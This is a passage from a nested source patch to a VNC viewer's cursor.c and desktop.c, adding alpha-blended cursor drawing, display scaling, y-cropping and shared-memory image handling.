-+ XGetSubImage(dpy, rcSavedArea, 0, 0, rcWidth, rcHeight, AllPlanes, ZPixmap, alpha_image, 0, 0);
-+ }
-+
-+ upix = (unsigned long *)alpha_image->data;
-+
-+ /* if the richcursor is clipped, the fb patch will be smaller */
-+ rsW = rcWidth;
-+ rsX = 0; /* used to denote a shift from the left side */
-+ x = rcCursorX - rcHotX;
-+ if (x < 0) {
-+ rsW += x;
-+ rsX = -x;
-+ } else if (x + rsW > si.framebufferWidth) {
-+ rsW = si.framebufferWidth - x;
-+ }
-+ rsH = rcHeight;
-+ rsY = 0; /* used to denote a shift from the top side */
-+ y = rcCursorY - rcHotY;
-+ if (y < 0) {
-+ rsH += y;
-+ rsY = -y;
-+ } else if (y + rsH > si.framebufferHeight) {
-+ rsH = si.framebufferHeight - y;
-+ }
-+
-+ /*
-+ * now loop over the cursor data, blend in the fb values,
-+ * and then overwrite the fb (CopyDataToScreen())
-+ */
-+ for (y = 0; y < rcHeight; y++) {
-+ y0 = rcCursorY - rcHotY + y;
-+ if (y0 < 0 || y0 >= si.framebufferHeight) {
-+ continue; /* clipped */
-+ }
-+ for (x = 0; x < rcWidth; x++) {
-+ int alpha, color_curs, color_fb, i;
-+
-+ x0 = rcCursorX - rcHotX + x;
-+ if (x0 < 0 || x0 >= si.framebufferWidth) {
-+ continue; /* clipped */
-+ }
-+
-+ offset = y * rcWidth + x;
-+ pos = (char *)&rcSource[offset * bytesPerPixel];
-+
-+ /* extract secret alpha byte from rich cursor: */
-+ upos = (unsigned long *) pos;
-+ alpha = (*upos & 0xff000000) >> 24; /* XXX MSB? */
-+
-+ /* extract the pixel from the fb: */
-+ pixel = *(upix + (y-rsY)*iwidth + (x-rsX));
-+
-+ put = 0;
-+ /* for simplicity, blend all 4 bytes */
-+ for (i = 0; i < 4; i++) {
-+ int sh = i*8;
-+ color_curs = ((0xff << sh) & *upos) >> sh;
-+ color_fb = ((0xff << sh) & pixel) >> sh;
-+
-+ /* XXX assumes pre-multipled color_curs */
-+ color_fb = color_curs
-+ + ((0xff - alpha) * color_fb)/0xff;
-+ put |= color_fb << sh;
-+ }
-+ /* place in the fb: */
-+ CopyDataToScreen((char *)&put, x0, y0, 1, 1);
-+ }
-+ }
-+ return;
- }
-+oldway:
-+#endif
-+
-+ bytesPerPixel = myFormat.bitsPerPixel / 8;
-+
-+ /* FIXME: Speed optimization is possible. */
-+ for (y = 0; y < rcHeight; y++) {
-+ y0 = rcCursorY - rcHotY + y;
-+ if (y0 >= 0 && y0 < si.framebufferHeight) {
-+ for (x = 0; x < rcWidth; x++) {
-+ x0 = rcCursorX - rcHotX + x;
-+ if (x0 >= 0 && x0 < si.framebufferWidth) {
-+ offset = y * rcWidth + x;
-+ if (rcMask[offset]) {
-+ pos = (char *)&rcSource[offset * bytesPerPixel];
-+ CopyDataToScreen(pos, x0, y0, 1, 1);
-+ }
-+ }
-+ }
-+ }
-+ }
-+ XSync(dpy, False);
- }
-
--static void FreeSoftCursor(void)
-+void FreeSoftCursor(void)
- {
-- if (prevSoftCursorSet) {
-- SoftCursorCopyArea(OPER_RESTORE);
-- XFreePixmap(dpy, rcSavedArea);
-- free(rcSource);
-- free(rcMask);
-- prevSoftCursorSet = False;
-- }
-+ if (prevSoftCursorSet) {
-+ SoftCursorCopyArea(OPER_RESTORE);
-+ XFreePixmap(dpy, rcSavedArea);
-+ XFreePixmap(dpy, rcSavedArea_0);
-+ free(rcSource);
-+ rcSource = NULL;
-+ free(rcMask);
-+ prevSoftCursorSet = False;
-+ }
- }
-
-
--static void FreeX11Cursor()
-+void FreeX11Cursor()
- {
-- if (prevXCursorSet) {
-- XFreeCursor(dpy, prevXCursor);
-- prevXCursorSet = False;
-- }
-+ if (prevXCursorSet) {
-+ XFreeCursor(dpy, prevXCursor);
-+ prevXCursorSet = False;
-+ }
- }
--
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/desktop.c vnc_unixsrc/vncviewer/desktop.c
---- vnc_unixsrc.orig/vncviewer/desktop.c 2004-05-28 13:29:29.000000000 -0400
-+++ vnc_unixsrc/vncviewer/desktop.c 2010-02-25 22:32:49.000000000 -0500
-@@ -28,28 +28,497 @@
- #include <X11/extensions/XShm.h>
- #endif
-
-+#include <X11/cursorfont.h>
-+
- GC gc;
- GC srcGC, dstGC; /* used for debugging copyrect */
- Window desktopWin;
--Cursor dotCursor;
-+Cursor dotCursor3 = None;
-+Cursor dotCursor4 = None;
-+Cursor bogoCursor = None;
-+Cursor waitCursor = None;
- Widget form, viewport, desktop;
-
-+int appshare_0_hint = -10000;
-+int appshare_x_hint = -10000;
-+int appshare_y_hint = -10000;
-+
- static Bool modifierPressed[256];
-
--static XImage *image = NULL;
-+XImage *image = NULL;
-+XImage *image_ycrop = NULL;
-+XImage *image_scale = NULL;
-+
-+int image_is_shm = 0;
-
- static Cursor CreateDotCursor();
- static void CopyBGR233ToScreen(CARD8 *buf, int x, int y, int width,int height);
- static void HandleBasicDesktopEvent(Widget w, XtPointer ptr, XEvent *ev,
- Boolean *cont);
-
-+static void CopyBGR565ToScreen(CARD16 *buf, int x, int y, int width,int height);
-+
- static XtResource desktopBackingStoreResources[] = {
- {
-- XtNbackingStore, XtCBackingStore, XtRBackingStore, sizeof(int), 0,
-- XtRImmediate, (XtPointer) Always,
-+ XtNbackingStore, XtCBackingStore, XtRBackingStore, sizeof(int), 0,
-+ XtRImmediate, (XtPointer) Always,
- },
- };
-
-+double scale_factor_x = 0.0;
-+double scale_factor_y = 0.0;
-+int scale_x = 0, scale_y = 0;
-+int scale_round(int len, double fac);
-+
-+double last_rescale = 0.0;
-+double last_fullscreen = 0.0;
-+double start_time = 0.0;
-+
-+int prev_fb_width = -1;
-+int prev_fb_height = -1;
-+
-+void get_scale_values(double *fx, double *fy) {
-+ char *s = appData.scale;
-+ double f, frac_x = -1.0, frac_y = -1.0;
-+ int n, m;
-+ int xmax = si.framebufferWidth;
-+ int ymax = si.framebufferHeight;
-+
-+ if (appData.yCrop > 0) {
-+ ymax = appData.yCrop;
-+ }
-+
-+ if (sscanf(s, "%d/%d", &n, &m) == 2) {
-+ if (m == 0) {
-+ frac_x = 1.0;
-+ } else {
-+ frac_x = ((double) n) / ((double) m);
-+ }
-+ }
-+ if (sscanf(s, "%dx%d", &n, &m) == 2) {
-+ frac_x = ((double) n) / ((double) xmax);
-+ frac_y = ((double) m) / ((double) ymax);
-+ }
-+ if (!strcasecmp(s, "fit")) {
-+ frac_x = ((double) dpyWidth) / ((double) xmax);
-+ frac_y = ((double) dpyHeight) / ((double) ymax);
-+ }
-+ if (!strcasecmp(s, "auto")) {
-+ Dimension w, h;
-+ XtVaGetValues(toplevel, XtNheight, &h, XtNwidth, &w, NULL);
-+ fprintf(stderr, "auto: %dx%d\n", w, h);
-+ if (w > 32 && h > 32) {
-+ frac_x = ((double) w) / ((double) xmax);
-+ frac_y = ((double) h) / ((double) ymax);
-+ }
-+ }
-+ if (frac_x < 0.0 && sscanf(s, "%lf", &f) == 1) {
-+ if (f > 0.0) {
-+ frac_x = f;
-+ }
-+ }
-+
-+ if (frac_y < 0.0) {
-+ frac_y = frac_x;
-+ }
-+
-+ if (frac_y > 0.0 && frac_x > 0.0) {
-+ if (fx != NULL) {
-+ *fx = frac_x;
-+ }
-+ if (fy != NULL) {
-+ *fy = frac_y;
-+ }
-+ } else {
-+ if (appData.scale) {
-+ fprintf(stderr, "Invalid scale string: '%s'\n", appData.scale);
-+ } else {
-+ fprintf(stderr, "Invalid scale string.\n");
-+ }
-+ appData.scale = NULL;
-+ }
-+}
-+
-+void try_create_image(void);
-+void put_image(int src_x, int src_y, int dst_x, int dst_y, int width, int height, int solid);
-+void create_image();
-+
-+/* toplevel -> form -> viewport -> desktop */
-+
-+void adjust_Xt_win(int w, int h) {
-+ int x, y, dw, dh, h0 = h;
-+ int mw = w, mh = h;
-+ int autoscale = 0;
-+
-+ if (!appData.fullScreen && appData.scale != NULL && !strcmp(appData.scale, "auto")) {
-+ autoscale = 1;
-+ mw = dpyWidth;
-+ mh = dpyHeight;
-+ }
-+
-+ if (appData.yCrop > 0) {
-+ int ycrop = appData.yCrop;
-+ if (image_scale && scale_factor_y > 0.0) {
-+ ycrop = scale_round(ycrop, scale_factor_y);
-+ if (!autoscale) {
-+ mh = ycrop;
-+ }
-+ }
-+ XtVaSetValues(toplevel, XtNmaxWidth, mw, XtNmaxHeight, mh, XtNwidth, w, XtNheight, ycrop, NULL);
-+ XtVaSetValues(form, XtNmaxWidth, mw, XtNmaxHeight, mh, XtNwidth, w, XtNheight, ycrop, NULL);
-+ h0 = ycrop;
-+ } else {
-+ XtVaSetValues(toplevel, XtNmaxWidth, mw, XtNmaxHeight, mh, XtNwidth, w, XtNheight, h, NULL);
-+ }
-+
-+ fprintf(stderr, "adjust_Xt_win: %dx%d & %dx%d\n", w, h, w, h0);
-+
-+ XtVaSetValues(desktop, XtNwidth, w, XtNheight, h, NULL);
-+
-+ XtResizeWidget(desktop, w, h, 0);
-+
-+ if (!autoscale) {
-+ dw = appData.wmDecorationWidth;
-+ dh = appData.wmDecorationHeight;
-+
-+ x = (dpyWidth - w - dw)/2;
-+ y = (dpyHeight - h0 - dh)/2;
-+
-+ XtConfigureWidget(toplevel, x + dw, y + dh, w, h0, 0);
-+ }
-+}
-+
-+void rescale_image(void) {
-+ double frac_x, frac_y;
-+ int w, h;
-+
-+ if (image == NULL) {
-+ create_image();
-+ return;
-+ }
-+
-+ if (appData.useXserverBackingStore) {
-+ create_image();
-+ return;
-+ }
-+
-+ if (image == NULL && image_scale == NULL) {
-+ create_image();
-+ return;
-+ }
-+
-+ if (appData.scale == NULL) {
-+ /* switching to not scaled */
-+ frac_x = frac_y = 1.0;
-+ } else {
-+ get_scale_values(&frac_x, &frac_y);
-+ if (frac_x < 0.0 || frac_y < 0.0) {
-+ create_image();
-+ return;
-+ }
-+ }
-+
-+ last_rescale = dnow();
-+
-+ SoftCursorLockArea(0, 0, si.framebufferWidth, si.framebufferHeight);
-+
-+ if (image_scale == NULL) {
-+ /* switching from not scaled */
-+ int i;
-+ int Bpl = image->bytes_per_line;
-+ char *dst, *src = image->data;
-+
-+ image_scale = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-+ si.framebufferWidth, si.framebufferHeight, BitmapPad(dpy), 0);
-+
-+ image_scale->data = (char *) malloc(image_scale->bytes_per_line * image_scale->height);
-+
-+ fprintf(stderr, "rescale_image: switching from not scaled. created image_scale %dx%d\n", image_scale->width, image_scale->height);
-+ fprintf(stderr, "rescale_image: copying image -> image_scale %dx%d -> %dx%d\n", image->width, image->height, image_scale->width, image_scale->height);
-+
-+ dst = image_scale->data;
-+
-+ /* copy from image->data */
-+ for (i=0; i < image->height; i++) {
-+ memcpy(dst, src, Bpl);
-+ dst += Bpl;
-+ src += Bpl;
-+ }
-+ }
-+
-+ /* now destroy image */
-+ if (image && image->data) {
-+ if (UsingShm()) {
-+ ShmDetach();
-+ }
-+ XDestroyImage(image);
-+ fprintf(stderr, "rescale_image: destroyed 'image'\n");
-+ if (UsingShm()) {
-+ ShmCleanup();
-+ }
-+ image = NULL;
-+ }
-+ if (image_ycrop && image_ycrop->data) {
-+ XDestroyImage(image_ycrop);
-+ fprintf(stderr, "rescale_image: destroyed 'image_ycrop'\n");
-+ image_ycrop = NULL;
-+ }
-+
-+ if (frac_x == 1.0 && frac_y == 1.0) {
-+ /* switching to not scaled */
-+ fprintf(stderr, "rescale_image: switching to not scaled.\n");
-+ w = si.framebufferWidth;
-+ h = si.framebufferHeight;
-+
-+ scale_factor_x = 0.0;
-+ scale_factor_y = 0.0;
-+ scale_x = 0;
-+ scale_y = 0;
-+ } else {
-+ w = scale_round(si.framebufferWidth, frac_x);
-+ h = scale_round(si.framebufferHeight, frac_y);
-+
-+ scale_factor_x = frac_x;
-+ scale_factor_y = frac_y;
-+ scale_x = w;
-+ scale_y = h;
-+ }
-+
-+ adjust_Xt_win(w, h);
-+
-+ fprintf(stderr, "rescale: %dx%d %.4f %.4f\n", w, h, scale_factor_x, scale_factor_y);
-+
-+ try_create_image();
-+
-+ if (image && image->data && image_scale && frac_x == 1.0 && frac_y == 1.0) {
-+ /* switched to not scaled */
-+ int i;
-+ int Bpl = image->bytes_per_line;
-+ char *dst = image->data;
-+ char *src = image_scale->data;
-+
-+ fprintf(stderr, "rescale_image: switching to not scaled.\n");
-+
-+ for (i=0; i < image->height; i++) {
-+ memcpy(dst, src, Bpl);
-+ dst += Bpl;
-+ src += Bpl;
-+ }
-+ XDestroyImage(image_scale);
-+ fprintf(stderr, "rescale_image: destroyed 'image_scale'\n");
-+ image_scale = NULL;
-+ }
-+
-+ if (appData.yCrop > 0) {
-+ int ycrop = appData.yCrop;
-+ /* do the top part first so they can see it earlier */
-+ put_image(0, 0, 0, 0, si.framebufferWidth, ycrop, 0);
-+ if (si.framebufferHeight > ycrop) {
-+ /* this is a big fb and so will take a long time */
-+ if (waitCursor != None) {
-+ XDefineCursor(dpy, desktopWin, waitCursor);
-+ XSync(dpy, False);
-+ }
-+ put_image(0, 0, 0, 0, si.framebufferWidth, si.framebufferHeight - ycrop, 0);
-+ if (waitCursor != None) {
-+ Xcursors(1);
-+ if (appData.useX11Cursor) {
-+ XSetWindowAttributes attr;
-+ unsigned long valuemask = 0;
-+ if (appData.viewOnly) {
-+ attr.cursor = dotCursor4;
-+ } else {
-+ attr.cursor = dotCursor3;
-+ }
-+ valuemask |= CWCursor;
-+ XChangeWindowAttributes(dpy, desktopWin, valuemask, &attr);
-+ }
-+ }
-+ }
-+ } else {
-+ put_image(0, 0, 0, 0, si.framebufferWidth, si.framebufferHeight, 0);
-+ }
-+
-+ SoftCursorUnlockScreen();
-+
-+ fprintf(stderr, "rescale: image_scale=%p image=%p image_ycrop=%p\n", (void *) image_scale, (void *) image, (void *) image_ycrop);
-+ last_rescale = dnow();
-+
-+}
-+
-+void try_create_image(void) {
-+
-+ image_is_shm = 0;
-+ if (appData.useShm) {
-+#ifdef MITSHM
-+ image = CreateShmImage(0);
-+ if (!image) {
-+ if (appData.yCrop > 0) {
-+ if (appData.scale != NULL && scale_x > 0) {
-+ ;
-+ } else {
-+ image_ycrop = CreateShmImage(1);
-+ if (!image_ycrop) {
-+ appData.useShm = False;
-+ } else {
-+ fprintf(stderr, "created smaller image_ycrop shm image: %dx%d\n",
-+ image_ycrop->width, image_ycrop->height);
-+ }
-+ }
-+ } else {
-+ appData.useShm = False;
-+ }
-+ } else {
-+ image_is_shm = 1;
-+ fprintf(stderr, "created shm image: %dx%d\n", image->width, image->height);
-+ }
-+#endif
-+ }
-+
-+ if (!image) {
-+ fprintf(stderr, "try_create_image: shm image create fail: image == NULL\n");
-+ if (scale_x > 0) {
-+ image = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-+ scale_x, scale_y, BitmapPad(dpy), 0);
-+ } else {
-+ image = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-+ si.framebufferWidth, si.framebufferHeight, BitmapPad(dpy), 0);
-+ }
-+
-+ image->data = malloc(image->bytes_per_line * image->height);
-+
-+ if (!image->data) {
-+ fprintf(stderr, "try_create_image: malloc failed\n");
-+ exit(1);
-+ } else {
-+ fprintf(stderr, "try_create_image: created *non-shm* image: %dx%d\n", image->width, image->height);
-+ }
-+ }
-+ fprintf(stderr, "try_create_image: image->bytes_per_line: %d\n", image->bytes_per_line);
-+}
-+
-+void create_image() {
-+ image = NULL;
-+ image_ycrop = NULL;
-+ image_scale = NULL;
-+
-+ fprintf(stderr, "create_image()\n");
-+
-+ if (CreateShmImage(-1) == NULL) {
-+ appData.useShm = False;
-+ }
-+ if (appData.scale != NULL) {
-+ if (appData.useXserverBackingStore) {
-+ fprintf(stderr, "Cannot scale when using X11 backingstore.\n");
-+ } else {
-+ double frac_x = -1.0, frac_y = -1.0;
-+
-+ get_scale_values(&frac_x, &frac_y);
-+
-+ if (frac_x < 0.0 || frac_y < 0.0) {
-+ fprintf(stderr, "Cannot figure out scale factor!\n");
-+ goto bork;
-+ }
-+
-+ scale_factor_x = 0.0;
-+ scale_factor_y = 0.0;
-+ scale_x = 0;
-+ scale_y = 0;
-+
-+
-+ if (1) {
-+ int w, h, hyc;
-+
-+ w = scale_round(si.framebufferWidth, frac_x);
-+ h = scale_round(si.framebufferHeight, frac_y);
-+ hyc = h;
-+ if (appData.yCrop > 0) {
-+ hyc = scale_round(appData.yCrop, frac_y);
-+ }
-+
-+ /* image scale is full framebuffer */
-+ image_scale = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-+ si.framebufferWidth, si.framebufferHeight, BitmapPad(dpy), 0);
-+
-+ image_scale->data = (char *) malloc(image_scale->bytes_per_line * image_scale->height);
-+
-+ fprintf(stderr, "create_image: created image_scale %dx%d\n", image_scale->width, image_scale->height);
-+
-+ if (!image_scale->data) {
-+ fprintf(stderr, "create_image: malloc failed\n");
-+ XDestroyImage(image_scale);
-+ fprintf(stderr, "create_image: destroyed 'image_scale'\n");
-+ image_scale = NULL;
-+ } else {
-+ int h2;
-+ scale_factor_x = frac_x;
-+ scale_factor_y = frac_y;
-+ scale_x = w;
-+ scale_y = h;
-+
-+ XtVaSetValues(toplevel, XtNmaxWidth, w, XtNmaxHeight, hyc, NULL);
-+
-+ h2 = scale_round(si.framebufferHeight, frac_y);
-+ XtVaSetValues(desktop, XtNwidth, w, XtNheight, h2, NULL);
-+
-+ }
-+ fprintf(stderr, "create_image: scale: %dx%d %.4f %.4f\n", w, h,
-+ scale_factor_x, scale_factor_y);
-+ }
-+ }
-+ }
-+ bork:
-+ try_create_image();
-+}
-+
-+int old_width = 0;
-+int old_height = 0;
-+
-+int guessCrop(void) {
-+ int w = si.framebufferWidth;
-+
-+ if (w == 320) {
-+ return 240;
-+ } else if (w == 400) {
-+ return 300;
-+ } else if (w == 640) {
-+ return 480;
-+ } else if (w == 800) {
-+ return 600;
-+ } else if (w == 1024) {
-+ return 768;
-+ } else if (w == 1152) {
-+ return 864;
-+ } else if (w == 1280) {
-+ return 1024;
-+ } else if (w == 1440) {
-+ return 900;
-+ } else if (w == 1600) {
-+ return 1200;
-+ } else if (w == 1680) {
-+ return 1050;
-+ } else if (w == 1920) {
-+ return 1200;
-+ } else {
-+ int h = (3 * w) / 4;
-+ return h;
-+ }
-+}
-+
-+void check_tall(void) {
-+ if (appData.appShare) {
-+ return;
-+ }
-+ if (! appData.yCrop) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ if (h > 2 * w) {
-+ fprintf(stderr, "Tall display (%dx%d) suspect 'x11vnc -ncache' mode,\n", w, h);
-+ fprintf(stderr, " setting auto -ycrop detection.\n");
-+ appData.yCrop = -1;
-+ }
-+ }
-+}
-
- /*
- * DesktopInitBeforeRealization creates the "desktop" widget and the viewport
-@@ -59,91 +528,1023 @@
- void
- DesktopInitBeforeRealization()
- {
-- int i;
-+ int i;
-+ int h = si.framebufferHeight;
-+ int w = si.framebufferWidth;
-+ double frac_x = 1.0, frac_y = 1.0;
-+
-+ start_time = dnow();
-+
-+ prev_fb_width = si.framebufferWidth;
-+ prev_fb_height = si.framebufferHeight;
-+
-+ if (appData.scale != NULL) {
-+ get_scale_values(&frac_x, &frac_y);
-+ if (frac_x > 0.0 && frac_y > 0.0) {
-+ w = scale_round(w, frac_x);
-+ h = scale_round(h, frac_y);
-+ } else {
-+ appData.scale = NULL;
-+ }
-+ }
-
-- form = XtVaCreateManagedWidget("form", formWidgetClass, toplevel,
-- XtNborderWidth, 0,
-- XtNdefaultDistance, 0, NULL);
-+ form = XtVaCreateManagedWidget("form", formWidgetClass, toplevel,
-+ XtNborderWidth, 0, XtNdefaultDistance, 0, NULL);
-
-- viewport = XtVaCreateManagedWidget("viewport", viewportWidgetClass, form,
-- XtNborderWidth, 0,
-- NULL);
-+ viewport = XtVaCreateManagedWidget("viewport", viewportWidgetClass, form,
-+ XtNborderWidth, 0, NULL);
-
-- desktop = XtVaCreateManagedWidget("desktop", coreWidgetClass, viewport,
-- XtNborderWidth, 0,
-- NULL);
-+ desktop = XtVaCreateManagedWidget("desktop", coreWidgetClass, viewport,
-+ XtNborderWidth, 0, NULL);
-
-- XtVaSetValues(desktop, XtNwidth, si.framebufferWidth,
-- XtNheight, si.framebufferHeight, NULL);
-+ XtVaSetValues(desktop, XtNwidth, w, XtNheight, h, NULL);
-
-- XtAddEventHandler(desktop, LeaveWindowMask|ExposureMask,
-- True, HandleBasicDesktopEvent, NULL);
-+ XtAddEventHandler(desktop, LeaveWindowMask|EnterWindowMask|ExposureMask,
-+ True, HandleBasicDesktopEvent, NULL);
-
-- for (i = 0; i < 256; i++)
-- modifierPressed[i] = False;
-+ if (appData.yCrop) {
-+ int hm;
-+ if (appData.yCrop < 0) {
-+ appData.yCrop = guessCrop();
-+ fprintf(stderr, "Set -ycrop to: %d\n", appData.yCrop);
-+ }
-+ hm = appData.yCrop;
-
-- image = NULL;
-+ fprintf(stderr, "ycrop h: %d -> %d\n", hm, (int) (hm*frac_y));
-
--#ifdef MITSHM
-- if (appData.useShm) {
-- image = CreateShmImage();
-- if (!image)
-- appData.useShm = False;
-- }
-+ hm *= frac_y;
-+
-+ XtVaSetValues(toplevel, XtNmaxHeight, hm, XtNheight, hm, NULL);
-+ XtVaSetValues(form, XtNmaxHeight, hm, XtNheight, hm, NULL);
-+ XtVaSetValues(viewport, XtNforceBars, False, NULL);
-+ XSync(dpy, False);
-+ }
-+
-+ old_width = si.framebufferWidth;
-+ old_height = si.framebufferHeight;
-+
-+ for (i = 0; i < 256; i++) {
-+ modifierPressed[i] = False;
-+ }
-+
-+ create_image();
-+}
-+
-+#if 0
-+static Widget scrollbar_y = NULL;
-+static int xsst = 2;
- #endif
-
-- if (!image) {
-- image = XCreateImage(dpy, vis, visdepth, ZPixmap, 0, NULL,
-- si.framebufferWidth, si.framebufferHeight,
-- BitmapPad(dpy), 0);
--
-- image->data = malloc(image->bytes_per_line * image->height);
-- if (!image->data) {
-- fprintf(stderr,"malloc failed\n");
-- exit(1);
-- }
-- }
-+#include <X11/Xaw/Scrollbar.h>
-+
-+#if 0
-+static XtCallbackProc Scrolled(Widget w, XtPointer closure, XtPointer call_data) {
-+ Position x, y;
-+ XtVaGetValues(desktop, XtNx, &x, XtNy, &y, NULL);
-+ if (0) fprintf(stderr, "scrolled by %d pixels x=%d y=%d\n", (int) call_data, x, y);
-+ if (xsst == 2) {
-+ x = 0;
-+ y = 0;
-+ XtVaSetValues(desktop, XtNx, x, XtNy, y, NULL);
-+ } else if (xsst) {
-+ XawScrollbarSetThumb(w, 0.0, 0.0);
-+ } else {
-+ float t = 0.0;
-+ XtVaSetValues(w, XtNtopOfThumb, &t, NULL);
-+ }
-+ if (closure) {}
- }
-
-+static XtCallbackProc Jumped(Widget w, XtPointer closure, XtPointer call_data) {
-+ float top = *((float *) call_data);
-+ Position x, y;
-+ XtVaGetValues(desktop, XtNx, &x, XtNy, &y, NULL);
-+ if (0) fprintf(stderr, "thumb value: %.4f x=%d y=%d\n", top, x, y);
-+ if (top > 0.01) {
-+ if (xsst == 2) {
-+ x = 0;
-+ y = 0;
-+ XtVaSetValues(desktop, XtNx, x, XtNy, y, NULL);
-+ } else if (xsst) {
-+ XawScrollbarSetThumb(w, 0.0, 0.0);
-+ } else {
-+ float t = 0.0, s = 1.0;
-+ XtVaSetValues(w, XtNtopOfThumb, *(XtArgVal*)&t, XtNshown, *(XtArgVal*)&s, NULL);
-+ }
-+ }
-+ if (closure) {}
-+}
-+#endif
-+
-+extern double dnow(void);
-+
-+void check_things() {
-+ static int first = 1;
-+ static double last_scrollbar = 0.0;
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ double now = dnow();
-+ static double last = 0;
-+ double fac = image_scale ? scale_factor_y : 1.0;
-+
-+ if (first) {
-+ first = 0;
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth, si.framebufferHeight, False);
-+ }
-+ if (appData.yCrop > 0 && appData.yCrop * fac < dpyHeight && h > 2*w && now > last_scrollbar + 0.25) {
-+ Widget wv, wh, wc;
-+ Position x0, y0;
-+ Position x1, y1;
-+ Dimension w0, h0, b0;
-+ Dimension w1, h1, b1;
-+ Dimension w2, h2, b2;
-+
-+ wc = XtNameToWidget(viewport, "clip");
-+ wv = XtNameToWidget(viewport, "vertical");
-+ wh = XtNameToWidget(viewport, "horizontal");
-+ if (wc && wv && wh) {
-+ int sb = appData.sbWidth;
-+ XtVaGetValues(wv, XtNwidth, &w0, XtNheight, &h0, XtNborderWidth, &b0, XtNx, &x0, XtNy, &y0, NULL);
-+ XtVaGetValues(wh, XtNwidth, &w1, XtNheight, &h1, XtNborderWidth, &b1, XtNx, &x1, XtNy, &y1, NULL);
-+ XtVaGetValues(wc, XtNwidth, &w2, XtNheight, &h2, XtNborderWidth, &b2, NULL);
-+ if (!sb) {
-+ sb = 2;
-+ }
-+ if (w0 != sb || h1 != sb) {
-+ fprintf(stderr, "Very tall (-ncache) fb, setting scrollbar thickness to: %d pixels (%d/%d)\n\n", sb, w0, h1);
-+
-+ XtUnmanageChild(wv);
-+ XtUnmanageChild(wh);
-+ XtUnmanageChild(wc);
-+
-+ XtVaSetValues(wv, XtNwidth, sb, XtNx, x0 + (w0 - sb), NULL);
-+ XtVaSetValues(wh, XtNheight, sb, XtNy, y1 + (h1 - sb), NULL);
-+ w2 = w2 + (w0 - sb);
-+ h2 = h2 + (h1 - sb);
-+ if (w2 > 10 && h2 > 10) {
-+ XtVaSetValues(wc, XtNwidth, w2, XtNheight, h2, NULL);
-+ }
-+
-+ XtManageChild(wv);
-+ XtManageChild(wh);
-+ XtManageChild(wc);
-+
-+ appData.sbWidth = sb;
-+ }
-+ }
-+ last_scrollbar = dnow();
-+ }
-+
-+ if (now <= last + 0.25) {
-+ return;
-+ }
-+
-+ if (image_scale) {
-+ scale_check_zrle();
-+ }
-+
-+ /* e.g. xrandr resize */
-+ dpyWidth = WidthOfScreen(DefaultScreenOfDisplay(dpy));
-+ dpyHeight = HeightOfScreen(DefaultScreenOfDisplay(dpy));
-+
-+ if (appData.scale != NULL) {
-+ static Dimension last_w = 0, last_h = 0;
-+ static double last_resize = 0.0;
-+ Dimension w, h;
-+ if (last_w == 0) {
-+ XtVaGetValues(toplevel, XtNwidth, &last_w, XtNheight, &last_h, NULL);
-+ last_resize = now;
-+ }
-+ if (now < last_resize + 0.5) {
-+ ;
-+ } else if (appData.fullScreen) {
-+ ;
-+ } else if (!strcmp(appData.scale, "auto")) {
-+ XtVaGetValues(toplevel, XtNwidth, &w, XtNheight, &h, NULL);
-+ if (w < 32 || h < 32) {
-+ ;
-+ } else if (last_w != w || last_h != h) {
-+ Window rr, cr, r = DefaultRootWindow(dpy);
-+ int rx, ry, wx, wy;
-+ unsigned int mask;
-+ /* make sure mouse buttons not pressed */
-+ if (XQueryPointer(dpy, r, &rr, &cr, &rx, &ry, &wx, &wy, &mask)) {
-+ if (mask == 0) {
-+ rescale_image();
-+ last_w = w;
-+ last_h = h;
-+ last_resize = dnow();
-+ }
-+ }
-+ }
-+ }
-+ }
-+
-+ last = dnow();
-+}
-
- /*
- * DesktopInitAfterRealization does things which require the X windows to
- * exist. It creates some GCs and sets the dot cursor.
- */
-
-+void Xcursors(int set) {
-+ if (dotCursor3 == None) {
-+ dotCursor3 = CreateDotCursor(3);
-+ }
-+ if (dotCursor4 == None) {
-+ dotCursor4 = CreateDotCursor(4);
-+ }
-+ if (set) {
-+ XSetWindowAttributes attr;
-+ unsigned long valuemask = 0;
-+
-+ if (!appData.useX11Cursor) {
-+ if (appData.viewOnly) {
-+ attr.cursor = dotCursor4;
-+ } else {
-+ attr.cursor = dotCursor3;
-+ }
-+ valuemask |= CWCursor;
-+ XChangeWindowAttributes(dpy, desktopWin, valuemask, &attr);
-+ }
-+ }
-+}
-+
- void
- DesktopInitAfterRealization()
- {
-- XGCValues gcv;
-- XSetWindowAttributes attr;
-- unsigned long valuemask;
--
-- desktopWin = XtWindow(desktop);
--
-- gc = XCreateGC(dpy,desktopWin,0,NULL);
--
-- gcv.function = GXxor;
-- gcv.foreground = 0x0f0f0f0f;
-- srcGC = XCreateGC(dpy,desktopWin,GCFunction|GCForeground,&gcv);
-- gcv.foreground = 0xf0f0f0f0;
-- dstGC = XCreateGC(dpy,desktopWin,GCFunction|GCForeground,&gcv);
--
-- XtAddConverter(XtRString, XtRBackingStore, XmuCvtStringToBackingStore,
-- NULL, 0);
--
-- XtVaGetApplicationResources(desktop, (XtPointer)&attr.backing_store,
-- desktopBackingStoreResources, 1, NULL);
-- valuemask = CWBackingStore;
--
-- if (!appData.useX11Cursor) {
-- dotCursor = CreateDotCursor();
-- attr.cursor = dotCursor;
-- valuemask |= CWCursor;
-- }
-+ XGCValues gcv;
-+ XSetWindowAttributes attr;
-+ XWindowAttributes gattr;
-+ unsigned long valuemask = 0;
-+
-+ desktopWin = XtWindow(desktop);
-+
-+ gc = XCreateGC(dpy,desktopWin,0,NULL);
-+
-+ gcv.function = GXxor;
-+ gcv.foreground = 0x0f0f0f0f;
-+ srcGC = XCreateGC(dpy,desktopWin,GCFunction|GCForeground,&gcv);
-+ gcv.foreground = 0xf0f0f0f0;
-+ dstGC = XCreateGC(dpy,desktopWin,GCFunction|GCForeground,&gcv);
-+
-+ XtAddConverter(XtRString, XtRBackingStore, XmuCvtStringToBackingStore,
-+ NULL, 0);
-+
-+ if (appData.useXserverBackingStore) {
-+ Screen *s = DefaultScreenOfDisplay(dpy);
-+ if (DoesBackingStore(s) != Always) {
-+ fprintf(stderr, "X server does not do backingstore, disabling it.\n");
-+ appData.useXserverBackingStore = False;
